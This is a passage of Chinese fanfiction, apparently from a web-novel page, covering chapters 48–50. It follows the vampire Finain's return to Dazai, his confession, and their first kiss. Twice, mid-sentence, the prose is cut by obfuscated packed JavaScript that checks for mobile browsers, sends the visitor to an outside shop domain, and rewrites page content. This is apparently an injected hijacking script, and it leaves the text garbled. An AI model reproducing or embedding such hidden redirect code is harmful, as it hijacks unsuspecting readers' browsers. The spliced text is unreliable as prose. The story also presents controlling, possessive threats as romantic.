“幻象菲那恩”得到了“确认”,身体几不可查地晃动了一下,脸上最后一丝血色也褪去了。 他不再看森鸥外,也不再说话,只是默默地、如同游魂般转身,踉跄着离开了办公室,消失在走廊的阴影里。 森鸥外看着他那副仿佛被全世界抛弃的背影,又瞥了一眼门口那片惨不忍睹的废墟,终于忍不住,低声抱怨了一句: “真是……一个两个,都不让人省心。维修费就从太宰君下个月的工资里扣吧。” 随后森鸥外命苦地捂住脸,对着爱丽丝哭唧唧,“爱丽丝酱,菲那恩君太坏了,就知道欺负首领,还把我的门弄坏了呜呜……” 爱丽丝一脸鄙夷,“糟糕的大人,林太郎你不也报复回去了吗?就不怕……小菲那恩就此与港口mafia为敌?” 森鸥外从容地笑了笑,“不,太宰已经改变了他。” 真正的菲那恩在幻象菲那恩离开后,也悄无声息地顺着原路离开了港口mafia大楼。 戏,已经开场了。 现在,他只能忐忑地等着那个唯一的观众——太宰治——的反应。 太宰他……会来找他吗? 48.乖乖回家 离开港口Mafia大楼后。 菲那恩在横滨的街道上漫无目的地游荡了许久,没有如他自己计划的那般去“偶遇”费奥多尔,最终他的脚步不由自主地停在了武装侦探社楼旧据点晚香堂门口。 他没有敲门,只是站在街角,静静望着窗户。 直到江户川乱步嘴里叼着根棒棒糖,像是“偶然”出门买零食一样,成功地发现了他。 于是,菲那恩几乎是被乱步半是“捡”半是“拐”地带回了晚香堂。 时间的流逝在这里变得模糊。 乱步难得地请了一天假,像是接收到了一个有趣的新“案件”,兴致勃勃地围着菲那恩转。 他与福泽谕吉打过招呼,语气随意地介绍了这位“暂时借住的朋友”,银发剑士目光如炬地扫过菲那恩,最终只是微微颔首,默许了这份突如其来的“收留”。 一天,二十四小时,一千四百四十分钟……每一分每一秒都像是在菲那恩紧绷的神经上缓慢踱步。 费奥多尔那边毫无动静,仿佛根本不知道他这位“失望透顶”的血族已经“离家出走”。 一种难以言喻的挫败和茫然的情绪攫住了他,而更让菲那恩心沉谷底的是——太宰治,也没有来。 没有电话,没有短信,没有任何寻找他的迹象。 港口Mafia那边平静得可怕,仿佛他菲那恩·德·图拉尔从未存在过一般。 菲那恩蜷在沙发上,像一朵失去水分后蔫嗒嗒的粉色蘑菇。 他赤红的眼眸失去了往日宝石般的光泽,蒙上了一层灰蒙蒙的雾气,失神地望着窗外逐渐暗淡的天光,手指无意识地抠着沙发柔软的绒面。 “他为什么不来找我……”这句话,在这几天里,已经以各种变体形式,反复在乱步耳边响起,频率高得让这位名侦探都觉得头疼。 “是我的秘术哪里出了差错,被森先生看穿了吗?” “还是费奥多尔看穿了我的计划?” “或者……最坏的可能……”他的声音骤然低了下去,带着一种被碾碎般的脆弱,“太宰他……其实根本不在乎我在哪里,是死是活?他终于……觉得我是甩不掉的麻烦,借此机会彻底摆脱我了?” 他的声音越来越低,带着自己都未察觉的委屈。 乱步正埋头攻克一盒新买的限量版拼图,被菲那恩第N次的唉声叹气打扰,终于忍无可忍,“啪”地一声把一块拼图按在桌上,推了推脸上的黑框眼镜,翠绿的眼眸锐利地看向沙发上那团粉色。 “笨蛋!超级大笨蛋!”乱步气鼓鼓地说,语气里充满了“这么简单的事情都想不通”的意味,“那个「魔人」这次的目的根本就不是你本身!” 菲那恩茫然地抬起头。 乱步拿起手边的波子汽水,咕咚喝了一大口,才继续说道,“他是在试探港口黑手党——尤其是太宰——对你的重视程度!” “但显然你们都有点不按常理出牌,打乱了所有……”乱步看着菲那恩依旧有些迷茫的脸,叹了口气,语气缓和了些,带着点看穿一切的了然:“至于那个家伙为什么不来找你……” 他顿了顿,翠绿的眼眸中闪过一丝复杂。 “他也许是一个很别扭的人呢……不出现在你面前,或许正是因为他知道,你需要一些时间和空间,去自己想清楚一些事情吧。” 乱步的目光意有所指地扫过菲那恩,“比如,你为什么会这么在意他的‘不出现’,为什么会因为他的‘沉默’而感到这么……伤心。” 菲那恩的心猛地一跳,像是被什么东西戳中了。 乱步拿起桌上一个苹果,咔嚓咬了一口,含糊不清却又一针见血地说:“你呀,与其在这里胡思乱想太宰在不在乎你,不如先想想,你为什么这么在乎太宰在不在乎你?” 这话像一道闪电,劈开了菲那恩混乱的思绪。 为什么这么在乎? 因为太宰会在他做噩梦后轻轻拍着他背? 是因为太宰是会记得他喜欢什么、会耐心教他人类常识、会纵容他所有笨拙亲近? 是因为即使知道自己被欺骗、被束缚,在想到要离开他时,心脏还是会传来尖锐的疼痛? 那种感觉,和依赖不同,和感激不同,更和血族对血仆的占有欲不同,甚至超越了他记忆中任何关于“亲密”的定义。 那是一种更炽热、更独占、更想要触碰又害怕失去的…… 江户川乱步状似无意地嘟哝道:“或许你可以试试观察你脚踝上的银环。” “毕竟——”他翠绿的眼眸弯起一个微妙的弧度,“你从始至终,潜意识里就根本没想过要离开他,不是吗?” 菲那恩闻言猛地一怔,下意识地摩挲着脚踝上那枚冰冷银环。 或许是因为他想要证明一直以来心中的那丝违和感,或许只是巧合,或许是情绪波动导致力量微泄——只听一声极其细微却清晰可闻的“咔嚓”声。 银环从他纤瘦的脚踝上断裂开来,掉落在柔软的地毯上,发出沉闷的轻响。 菲那恩和乱步都愣住了。 菲那恩怔怔地低头,看着那断成两截的银环。 他几乎是屏住呼吸,僵硬地弯腰,用微微发颤的手指捡起了那两截断环,却在下一秒看到某个东西时瞳孔微缩。 在银环的内侧,一个极其隐蔽、需要特定角度才能看到的位置,刻着一行细小的、花体字母。 不是编号。 而是——Lucky。 幸运。 菲那恩的呼吸骤然停止。 他认识这个词。 太宰治曾经在一个慵懒的午后,漫不经心地用手指在沾了水汽的玻璃上画下这个单词的形状,拖着长调告诉他: 【Lucky——幸运,或者说是……好运气的意思哦,菲那恩。就像能抽中限量版游戏机,或者找到一家超~级好吃的蟹肉料理店那样。】 当时那双鸢色的眼睛里带着惯有的、让人捉摸不透的笑意。 原来……没有能量波动,真的不是错觉啊。 这根本就不是最初那个入职礼物。 他该早一点察觉到的…… 银环碎片静静躺在他掌心,那个小小的单词却像一团火,烫得他心脏猛地一缩。 他抬起头,看向乱步,赤红的眼眸中是一种剧烈翻涌的震动。 乱步迎着他的目光,咬下最后一口苹果,含混不清地说:“看吧,名侦探早就说过了,有些事情,得你自己去想明白。” 他翠绿的眼睛弯了弯,带着洞悉一切的了然。 “现在,你想明白了吗?” 菲那恩没有立刻回答。 他只是低头,再次看向掌心那刻着“Lucky”的银环碎片,然后缓缓地、缓缓地将其握紧,贴在了自己左侧的胸口。 那里,心脏正以前所未有的、清晰而剧烈的节奏,疯狂地跳动着。 答案,早已不言而喻。 …… 午夜时分的横滨,霓虹渐熄,只余下月光与零星灯火勾勒出城市的轮廓。 太宰的私人公寓内,一片寂静。 太宰治并未沉睡,他只是穿着睡衣躺在床上,鸢色的眼眸在黑暗中静静睁开,望着天花板,不知在想些什么。 随后,他听到了极其细微的、几乎与夜风融为一体的声响。 ——来自客厅……阳台。 太宰治无声地叹了口气,鬼使神差地闭上了眼睛,身体却依旧保持着放松的姿态,搭在被子下的手指却微微蜷缩了一下。 阳台的玻璃门被无声地推开一道缝隙,一道纤细的身影悄无声息地滑了进来。 粉色的长发在月华下流淌着微光,赤红的眼眸在黑暗中如同两簇幽静的火焰。 是菲那恩。 他最终选择了乖乖回家。 他身上依然只穿着那件单薄的浴衣,第一时间就是回自己房间拿衣服洗澡。 然后他发现……自己房间空空如也,衣柜的衣服,床上的被子都收走了。 菲那恩:这不对吧……? 菲那恩委屈极了,本来好点的心情又变得有些气鼓鼓的,嘟哝道:“太宰……太过分了。” 不过好在内·裤还在。 他报复性地决定去太宰房间偷衣服穿。 随后,他赤着双足,踩在冰凉的地板上,没有发出一点声音,进了太宰的房间。 太宰在床上躺着,呼吸均匀,好似已经睡得很安心。 菲那恩更委屈了。 太宰竟然……睡得这么香…… 菲那恩看了一下衣柜里的清一色的白衬衫西装裤,唯一的睡衣此刻正穿在太宰治身上。 菲那恩没办法,只能拿了一件白衬衫就悄悄去浴室洗澡了。 等他从浴室出来时,头发盘在头顶,没有打湿,只是沾着些许水汽。 他全身上下就只穿了一件白衬衫,还好他跟太宰的身高还是有点差距的,以至于宽大的衬衫下摆刚刚好能遮住大腿根和臀部,露出一双笔直白皙的腿。 衬衫最上面的两颗扣子敞开着,精致的锁骨若隐若现。 他去冰箱里找血喝,好在里面还有存货,甚至还意外地很新鲜。 最后,他悄悄走进太宰的房间,动作轻盈地爬上床,柔软的床垫因他的重量微微下陷。 菲那恩犹豫了一秒,看着太宰治平静的脸庞,他直接隔着被子跨坐在太宰治的身上,企图把太宰治……压醒。 坐落位置精准地落在太宰治的腰腹之间,膝盖分跪在他身体两侧,将身体的重量部分地交付给他。 这个姿势大胆而亲昵。 菲那恩微微俯下身,双手撑在太宰治头侧的枕头上,粉色长发如同帘幕般垂落,扫过太宰治的脸颊和脖颈,带来细微的痒意。 太宰治终于睁开了那双平静无波的鸢色眼眸,“……舍得回来了?” 菲那恩赤红的眼眸在极近的距离凝视着太宰治那双深不见底的鸢色眼睛,两人的呼吸在寂静的空气中暧昧地交织。 “嗯,太宰……”菲那恩的声音很轻,带着一丝夜露般的微凉,却又像羽毛一样,轻轻搔刮着太宰治的耳膜和心尖,“我回来了。” 太宰治没有回应,只是静静地看着他,目光深邃,仿佛在审视,又仿佛在压抑着什么。 菲那恩得不到回应,似乎有些不满,又像是在委屈。 他无意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16552664|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识地扭动了一下腰肢,带着点执拗的追问:“你怎么……都不理我?” 菲那恩的声音里带着一种近乎撒娇的鼻音,这种无意识的“勾.引”才最难招架。 “……你想不想我?”他继续追问,低下头,温热的呼吸喷洒在太宰治的唇边,距离近得几乎要吻上去,却又悬停在毫厘之处,仿佛在等待着什么。 太宰治的呼吸几不可察地紊乱了一瞬。 他能清晰地感受到身上人那熟悉的、混合着白玫与沐浴露的气息。 那双近在咫尺的赤瞳,像最纯净的红宝石,里面清晰地倒映着他的影子,以及一种他从未在菲那恩眼中见过的、炽热而直白的情感。 他将双臂从被子里捞出来,握住菲那恩的腰想要将对方弄下去,却在腰肢入手的瞬间,手腕触碰到了对方光滑的、裸露的双腿。 他的喉结轻微地滚动了一下,声音比平时更加低沉沙哑:“……你怎么穿这么少?” 菲那恩任由太宰治的手放在自己敏感的腰上,毕竟礼尚往来,他可是穿了太宰的衣服,还上了太宰的床。 菲那恩委屈中带着一丝抱怨,“你、你太过分了!我才走一天,你就把我的房间收拾得那么干净?” 太宰罕见地有些心虚,松开握着菲那恩腰肢的手,然而手想放回被子里也放不回去,放被子上有不免接触到菲那恩光滑的双腿。 最后他选择继续把手放回腰上。 菲那恩歪了歪脑袋,“太宰还没回答我,想不想我?” 太宰治深吸一口气,声音低哑,“……你觉得呢?” 这是一个模棱两可的回答,带着太宰治一贯的、让人捉摸不透的风格。 菲那恩却似乎并不满意这个答案。 他微微蹙起精致的眉头,赤红的眼眸中闪过一丝懊恼,但更多的是一种豁出去的决心。 他不再满足于这暧昧不明的僵持,忽然低下头,将微凉的唇瓣贴上了太宰治没有绷带缠绕的脖颈处。 不是吸血时的精准定位,而是如同小兽般,带着点惩罚和委屈的意味,用柔软的唇和收敛的尖牙,轻轻厮磨着那处脆弱的皮肤。 “我好想你,太宰……”菲那恩的声音闷闷地传来,伴随着温热湿润的触感,“想得……这里都疼了。” 他拉着太宰治的一只手,引导着,将其按在了自己左侧的胸口。 隔着一层薄薄的衬衫布料,太宰治的掌心清晰地感受到了那下面传来的、异常快速而有力的心跳。 咚、咚、咚…… 每一下,都像是在敲击着太宰治筑起的心防。 菲那恩抬起头,再次迎上太宰治的目光。 这一次,他眼中所有的迷茫、试探和不安都消失了,只剩下一种沉淀下来的、无比清晰的坚定。 “太宰,”他看着他的眼睛,一字一句,声音清晰而认真,仿佛在宣读最重要的誓言,“我想明白了。” “我生气,我难过,我睡不着……不是因为那个银环,不是因为费奥多尔的挑拨。” “而是因为你。” “因为你不来找我,因为你的沉默……我害怕你真的不要我了。” 他的声音里带着一丝不易察觉的颤抖,却依旧努力地说下去: “乱步问我,为什么那么在乎你在不在乎我。” “我现在知道答案了。” 菲那恩深吸一口气,那双赤红的眼眸在月光下亮得惊人,里面盛满了毫不掩饰的、纯粹而炽热的情感。 “因为……我喜欢你啊,太宰。” 他俯下身,额头轻轻抵住太宰治的额头,鼻尖相触,呼吸交融。 这个动作带着全然的依赖和交付。 “不是血族对血仆的占有,是人类意义上的那种……‘爱’。”他似乎担心太宰治不明白,笨拙地解释着,眼神却无比认真,“我想永远和你在一起,想看你笑,想让你开心,想……成为你的‘幸运’。” 最后这句话,轻飘飘地落下,却像是最沉重的锚,瞬间定住了太宰治所有翻涌的情绪。 “不会吧,你连‘lucky’都知道了?”太宰治语气里带着最后的挣扎。 太宰治能感觉自己那只按在菲那恩胸口的手,传递来的不仅是心跳,还有一种滚烫的、几乎要将他灼伤的真挚。 他没想到菲那恩竟然会在此刻那么直球地……戳破窗户纸。 他沉默了许久,久到菲那恩几乎以为他不会再回应,那双赤红的眼眸里开始重新积聚起不安的水汽。 然后,太宰治终于叹了口气,声音变得认真起来,“我觉得我们需要好好谈谈。” 菲那恩以为,自己一生好不容易的一次求爱将要被彻底拒绝,几乎都要哭出来。 “菲那恩,你别用那种表情看着我啊……你长时间脱离人类社会,很多复杂事情你都不懂,而情爱就是其中最复杂的一类,”他抬起手,指腹轻轻抚过菲那恩的眼角,拭去那将落未落的湿意,动作温柔得不可思议。 “你不懂,但不代表我不懂,我必须要把所有的事情讲清楚才行,”太宰治的声音轻不可闻,却重重落在菲那恩心间。 “不然……我可是会讨厌你的,菲那恩。” 49.亲吻 客厅里只开了一盏暖黄的落地灯,光线柔和,却照不散空气中那份凝滞的沉重。 菲那恩坐在沙发的一角,身上依旧只穿着那件过于宽大的白衬衫,两条白得晃眼的腿有些拘谨地并拢着。 太宰治见状,给他找了一件浴袍穿在外面。 穿着总算看起来正常了一点。 但菲那恩却依旧只是低着头,双手紧紧捧着太宰治递给他的那杯热水,指尖因为用力而微微泛白。 他怕极了。 怕太宰治接下来要说的话,会是温柔的拒绝。 那句鼓起全部勇气说出的“喜欢”,像投入深潭的石子,激起的涟漪尚未平复,就被这令人窒息的沉默所取代。 太宰治坐在他对面的单人沙发上,穿着舒适的深色居家服,姿态看似放松,但那双鸢色的眼眸却始终没有离开过菲那恩。 他看着菲那恩那副紧张得几乎要缩起来的样子,几不可闻地叹了口气。 “冷吗?”他问,声音比平时更低沉些,带着不易察觉的温柔。 菲那恩摇了摇头,又立刻点了点头,最后只是把脸往杯口埋了埋,汲取着那一点点微不足道的热气。 他不敢看太宰治。 “关于你的衣服和床品……”太宰治主动开启了话题,语气平静,“我不知道你什么时候回来,甚至不确定你还回不回来,就让人把和服送去专业的洗衣店保养了,床单被套也刚洗完,还没干。”他顿了顿,补充道,“不是要赶你走的意思。” 菲那恩沉默地点了点头。 心里那点因为“房间被清空”而产生的委屈,稍稍平复了一些。 “那么现在,该你了。第一个问题,”太宰治的目光沉静地落在他身上,“这几天,你去哪儿了?” 菲那恩舔了舔有些发干的嘴唇,老实回答:“乱步……收留了我。” 太宰治的指尖在膝盖上轻轻点了一下,对这个答案并不意外。 他继续问道:“森先生办公室的门……” “是我弄的,我用了一点小手段。”菲那恩的声音低了下去,带着点心虚,“我想……制造一个我因为‘控制装置’而失控、对你失望透顶的假象,看看能不能引出费奥多尔,或者……看看你的反应。” 他越说声音越小,最后几乎听不见。 太宰治沉默了片刻,才缓缓道:“很危险的举动,菲那恩。” “我知道……”菲那恩小声承认,随即像是想起什么似的,话锋一转,“现在,该我问了。” 接着,他拿出了那碎成两截的银环,“这个……其实根本不是什么入职礼物吧?” 太宰治的目光变得幽深起来。 “那个银环……”他似乎在斟酌词语,“我换掉了。” 菲那恩眼中只有了然。 “在你第一次表现出,看到它会产生不适和痛苦之后,我竟然……觉得你有点可怜。”太宰治的声音很轻,却清晰地传入菲那恩耳中,“之后过了一段时间,我就找人仿制了一个一模一样的。原本的那个,上面确实有一些……抑制吸血的炼金术,这是港口Mafia控制危险异能者的手段罢了。” 太宰治看着菲那恩,表情变得有些难以形容,“但是,就在换掉银环后,我发现你对其他血液的排斥状态并没有变正常。” 接着他从茶几抽屉里摸出一份折叠起来的文件纸,递给了菲那恩,“这是之前从森先生那里‘借’来的,关于你血液的分析报告。我想,你看完大概就能明白了。” 菲那恩迟疑地接过那张纸,展开。 上面是密密麻麻的数据和术语,他看不太懂,但几个加粗的标题和结论性的句子却异常刺眼: 【样本F-01:血液细胞活性异常活跃,稳定性存疑……】 【特殊指向性依赖:对特定个体(样本T-D)血液表现出高度排他性接纳及戒断反应……】 【结论:建议持续观察并维持特定血源供应,以控制不可预知风险……】 “戒断……反应?”菲那恩喃喃念出这个词,随即猛地抬头看向太宰治,“对……你的血?” “正确。”太宰治打了个响指,眼神却深邃,“从一开始就是,不是银环的作用。菲那恩,是你自己的身体,从见到我的第一眼起,就莫名其妙地……只认准我了。” 菲那恩还有些没反应过来,显然他也不知道怎么回事,但他觉得如果对象是太宰的话……也并不是那么难接受。 太宰治定定地看着他,鸢色的眼眸中带着一种复杂的情绪。 “至于‘lucky’……”他坦白道,“就当我……偶尔也想毫无道理地、相信一次这种虚无缥缈的东西吧。” 他的声音压得更低,几乎成了气音,却带着一种莫名的温柔和认真:“相信一次……或许会有那么一点点‘运气’,能稍微……偏向你这边,菲那恩。” 他说完,似乎觉得这些话过于直白,有些不习惯地别开脸。 菲那恩怔怔地看着他,心脏像是被一只温暖的手紧紧攥住,酸涩与悸动交织着汹涌而上。 他所有的委屈与不安,在这一刻,奇异地、真正地开始消散。 “为什么……”菲那恩的声音带着哽咽,“为什么不告诉我……” “告诉你,然后呢?”太宰治反问道,语气依旧温柔,却带着一种洞悉世事的清醒与冷酷,“让你陷入更深的纠结?或者,让森先生察觉到异常?有些事,不知道反而更安全。” 他看着菲那恩泛红的眼眶,无声地叹了口气:“但现在,你知道了真相……或许也不是什么坏事。” 铺垫了这么多,终于到了无法回避的核心。 太宰治坐直了一些,目光沉静而郑重地落在菲那恩脸上:“现在,我们来谈谈最后,也是最重要的一件事。关于你刚刚说的……‘喜欢’。” 菲那恩的心瞬间提到了嗓子眼,他几乎是屏住了呼吸,赤红的眼眸一眨不眨地盯着太宰治,等待着最终的审判。 太宰治没有立刻回答,他只是静静地看了菲那恩很久,仿佛要将他此刻的模样深深烙印在心底。 然后,他才用一种极其缓慢、极其认真的语气开口: “菲那恩,你有没有想过一个问题——寿命。” 菲那恩的瞳孔微微收缩。 “我是人类,菲那恩。”太宰治的声音很轻,却像冰锥一样刺入菲那恩的耳膜,“我会衰老,会生病,会……死亡。我的生命,对于你近乎永恒的时间而言,短暂得如同刹那烟火。” 他顿了顿,鸢色的眼眸深处翻涌着复杂的情绪,有关怀,有担忧,也有一丝……不易察觉的痛楚。 “这对你来说,不公平。”他最终说道,声音里带着一种沉重的温柔,“当你看着我一点点老去,最终化为尘土,而你依旧保持着现在的模样……那对你而言,会是另一种形式的、更加漫长的折磨。” 这就是他最大的顾虑,也是他一直以来,不敢轻易回应、甚至不敢去深思这份感情的原因。 他怕自己短暂的温暖,最终会成为菲那恩永恒生命里无法愈合的伤疤。 出乎太宰治意料的是,菲那恩在听完这番话后,并没有露出他预想中的知难而退。 那双赤红的眼眸反而变得更加清澈和坚定。 菲那恩放下一直捧着的杯子,向前倾身,目光直直地望进太宰治的眼底。 “没关系。”菲那恩的声音很轻,却带着一种不容置疑的坚定,“寿命不等,没关系。” 他伸出手,轻轻抓住太宰治放在膝盖上的手,微凉的指尖传递着他的决心。 “我会努力找到平衡的方法。血族的秘法很多……总会有办法的。”他的眼神纯粹而执着,“就算……就算最终真的没有办法,能和你在一起的几十年,对我来说,也远比永恒的生命更有意义。” “太宰,太宰治,”他呼唤着他的名字,语气里带着一种近乎虔诚的恳求,“不要用‘为我好’的理由推开我。让我自己选择好不好,求你了……” 太宰治看着他,看着他那双倒映着灯光和自己身影的、无比坚定的赤瞳,感受着他指尖传来的微凉和微微的颤抖。 所有预设的防线,所有理智的权衡,在这一刻,土崩瓦解。 短暂的死寂在空气中蔓延。 他突然站起身,走近菲那恩,伸手抬起菲那恩的下巴,迫使对方直视着自己。 “你以为喜欢是什么?”他的声音低沉下去,如同毒蛇吐信,带着致命的诱惑和威胁。 菲那恩的血眸微微睁大,似乎没理解他的意思。 太宰治俯下身,凑近他的耳边,温热的呼吸喷洒在对方敏感的尖耳上,声音轻得如同恶魔低语: “听着,菲那恩,让别人喜欢我这种事对我来说很简单。我有很多种方法让你离不开我,也有很多种方法让除了我之外所有对你产生兴趣的人消失。” “更过分一点,我会在你没察觉到的时候,知道你每一天去了哪里,见了谁,说了什么话,我会剔除掉所有不必要的干扰,所有可能让你分心的人和事。” 他的话语如同最精致的蛛网,带着甜蜜的毒性,缓缓缠绕上来,“如果你敢有一丝一毫的动摇,或者试图看向别处……” “我有无数种方法,在你产生那种念头之前,就彻底掐灭它,这对我来说轻而易举。” “把你牢牢锁在我身边,你都只能看着我,只能想着我,这样和你认知中完全不同的我,你还敢喜欢吗?” 他将自己内心深处最真实的、因害怕失去而衍生出的极端占有欲,毫不掩饰地、甚至添油加醋地摊开在菲那恩面前,试图吓退他,或者说……这只是一种扭曲的试探。 与其是提前告知菲那恩后果,倒不如说是……太宰治在等着菲那恩的反应。 菲那恩怔怔地看着他,看着他那双仿佛要将自己吞噬的鸢色眼眸,眼里依旧没有出现太宰治预想中的任何负面情绪和退缩,他甚至像是在仔细消化这些话的含义。 然后,他做出了一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559064|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让太宰治彻底怔住的反应。 菲那恩的脸上,竟然露出了一种……近乎“安心”甚至“原来如此”的表情。 “就这样吗?”他轻声反问,语气里甚至带着一丝不易察觉的……失望,“我还以为,会更复杂一点。” 太宰治:“……” 他所有的威胁,所有的黑暗宣言,仿佛一拳头打在了最柔软的棉花上,毫无着力点。 菲那恩看着他,非常认真地解释,仿佛在安慰他:“我父亲就是这样的,绝对的掌控,完全的占有,不允许有任何脱离他预期的行为,所以我觉得这样……很熟悉,也很安心。” 他血红的眼眸倒映着太宰治有些错愕的脸。 “而且,”菲那恩的语气斩钉截铁,“太宰不管是什么样,我都喜欢,温柔的太宰,别扭的太宰,还有说着可怕话语的太宰。” “我不怕。”他重申道,目光坚定,“我不会变心,所以你想对我做什么都可以。如果你想把我关起来,那就关起来。如果你想我的世界里只有你,那就只有你。只要……” 他顿了顿,眼神无比执拗地看着太宰治:“只要你能因此感到安心——” 话音未落,太宰治俯身吻了上去,堵住了菲那恩未尽的话语。 菲那恩的身体瞬间僵硬,眼睛微微睁大,所有的声音都被堵回了喉咙里。 他能感受到的,仅仅是太宰治微凉而柔软的唇瓣,紧密地贴合在自己的唇上。 时间仿佛在这一刻彻底停滞。 几秒令人窒息的寂静后,那紧密的贴合才开始有了细微的变化。 太宰治的唇瓣极其轻微地动了动,不再是单纯的覆盖,而是开始了一种生涩却温柔的摩挲,像蝴蝶翅膀拂过花瓣,带着试探的、一点点加深的暖意。 他的动作很慢,轻轻吮吸着菲那恩柔软的下唇,用自己的温热去暖热对方微凉的唇,带着一种前所未有的耐心和探索欲。 “唔……”菲那恩发出一声模糊的、带着困惑的鼻音,纤长的白色睫毛剧烈地颤抖着,手指无意识地蜷缩起来,抓住了身下的布料。 就在意乱情迷之际,太宰治的舌尖仿佛无意地、又或许是有意地,轻轻擦过菲那恩上颚一颗微微尖锐的——那是他收敛起的獠牙牙尖。 “唔嗯……!” 一瞬间,仿佛过电般的酥麻感猛地窜遍全身。 菲那恩的身体控制不住地剧烈颤抖了一下,喉间溢出一声短促而甜腻的轻哼。 那是一种极其敏感、源自血族本能的反应,远超其他任何地方的触碰。 太宰治显然察觉到了他这剧烈的反应,鸢色的眼眸深处掠过一丝暗沉的光。 他稍微退开了些许,用指腹轻轻摩挲了一下菲那恩的唇角,低声呢喃,气息灼热地喷洒在他敏感的耳廓: “原来这么敏感吗……獠牙?” 菲那恩脸颊绯红,呼吸急促,完全说不出话来,只能睁着那双水汽氤氲的红眸望着他。 太宰治喉结微动,再次低下头。 这一次,他的吻不再是单纯的阻止或试探,而是带上了一种明确而温柔的占有欲,更深、更缠绵地吻住了他。 菲那恩生涩地承受着这个逐渐加深的吻,所有的思绪都化为了唇瓣上清晰的触感和心脏失序的狂跳。 不知过了多久,太宰治才缓缓退开些许,两人额头相抵,呼吸交错,都有些急促。 菲那恩微微喘着气,红眸湿润,唇瓣嫣红。 太宰治用拇指轻轻擦过他湿润的唇角,眼神复杂难辨,声音里带着一丝不易察觉的喑哑与告诫: “像‘想对我做什么都可以’这种话,以后别再说了……” 菲那恩望着他,似乎有些不解其因,但仍然乖巧地应道:“……嗯嗯。” 太宰治用一种近乎珍重的动作,轻轻拂过菲那恩的脸颊,指尖甚至带着一丝几不可查的颤抖。 他收紧了手臂,将菲那恩紧紧、紧紧地拥入怀中,力度大得几乎要将对方揉碎在自己骨血里。 或许菲那恩以为太宰那些话多少带着吓唬和夸张的成分。 但他错了。 太宰治说的每一个字,都源于内心深处最真实的黑暗。 那些极端的手段,他或许不会轻易使用,但的的确确是他潜意识里认为“有效”且“可能采取”的方式。 「从得到的那一刻起,就注定会失去。」 这条刻入他骨髓的黑暗法则,从未因任何人的出现而改变。 它就像地球引力一样客观存在,不会因为菲那恩的纯粹或特别就有丝毫松动。 正因如此,恐惧才如影随形。 失去是注定的结局,那么在这个过程中,他唯一能做的,就是拼尽全力地延缓那个结局的到来,用尽一切手段地将“得到”的状态无限期地延长——哪怕那些手段本身,就足以将人推开。 所以,他会比任何人都更加用力地抓紧。 他认为重要的东西,会不惜一切手段掌控和保护。 50.牙印 时间回到菲那恩离开的那个早上,太宰治听见玻璃碎裂的声响冲进菲那恩的房间,入目便是满地玻璃碎片和地上的一张说明书和词典。 太宰治捡起说明书一看,瞬间明白了所有事,但他明明记得自己销毁过那份说明书了。 他突然很庆幸自己曾经做过的选择。 他当然知道菲那恩去了哪里。 在菲那恩被江户川乱步“捡到”的那一刻,相关的情报就已经悄无声息地摆在了他的案头。 他甚至能想象当时菲那恩那副茫然委屈的模样。 之后,他刻意按下了所有寻找的指令,封锁了消息,甚至对森先生那边也做了必要的“处理”。 这并非冷漠,也绝非不在意。 恰恰相反,是因为太在意了。 太宰治是个胆小鬼,讨厌一切会脱离掌控、最终会离他而去的事物。 “失去”的阴影,如同附骨之疽,早已深植于他的灵魂深处。 他见过太多的背叛与别离,以至于习惯于在一切开始前,就先预设好最坏的结局。 菲那恩的“离家出走”,像一场突如其来的测试。 测试他的耐心,测试他的底线,更测试着……菲那恩自己内心的真实选择。 太宰治突然也想看看,这只被他“饲养”着的小吸血鬼,在经历了外界的风雨和别有用心者的挑拨后,是否会乖乖选择……回家。 是否会选择,回到他身边。 这是一种近乎残忍的等待,一种将选择权完全交付出去的、令他极度不适的被动。 他习惯于掌控全局,算计人心,却唯独在菲那恩身上,第一次尝到了这种悬在半空、无所适从的滋味。 他搪塞森鸥外的询问时,语气轻描淡写得仿佛只是走失了一只猫咪。 “毕竟是血族嘛,森先生,偶尔也需要一点独处的时间,思考一下人生哲学什么的~”他甚至还扯出了一个惯常的笑容,可那鸢色眼眸中却并无丝毫笑意,“况且,要是我们兴师动众地去找,反而可能会惊扰到他,或者……让某些躲在暗处的老鼠看笑话,不是吗?” 他将“不动声色”演绎得淋漓尽致,将港口Mafia可能采取的行动扼杀在了摇篮里。 所有的焦虑、不确定、以及那丝连他自己都不愿承认的……恐慌,都被他死死地压在心里。 没有菲那恩的夜晚,他都睡得极浅,任何细微的声响都能让他瞬间惊醒。 但每一次,都只有更深的寂静回应他。 所以很快,他就开始下意识地回避那个属于菲那恩的房间。 里面还残留着对方的气息,那些摆放整齐的小物件,满满当当的衣柜……无一不在提醒着他菲那恩的离家出走。 因此,他派人将菲那恩常穿的和服送去保养,将床品拆洗——与其说是整理,不如说是一种近乎赌气的、试图抹去痕迹的行为,仿佛这样就能让自己习惯这种空寂。 他表面上维持着港口Mafia最年轻干部的冷酷,但只有他自己知道,内心的某个角落正在被一种缓慢而持续的焦灼啃噬着。 他承认,有的时候他可能也算是一个赌徒。 他在赌菲那恩对他的依赖,赌他们之间那些看似脆弱却真实存在的羁绊,赌菲那恩……心甘情愿地回到他身边。 如果菲那恩不回来呢? 这个念头偶尔会窜出来,带来一阵冰冷而陌生的刺痛。 不,这根本不可能,他的血液对菲那恩有着强戒断性,因此菲那恩的回归只是时间问题罢了。 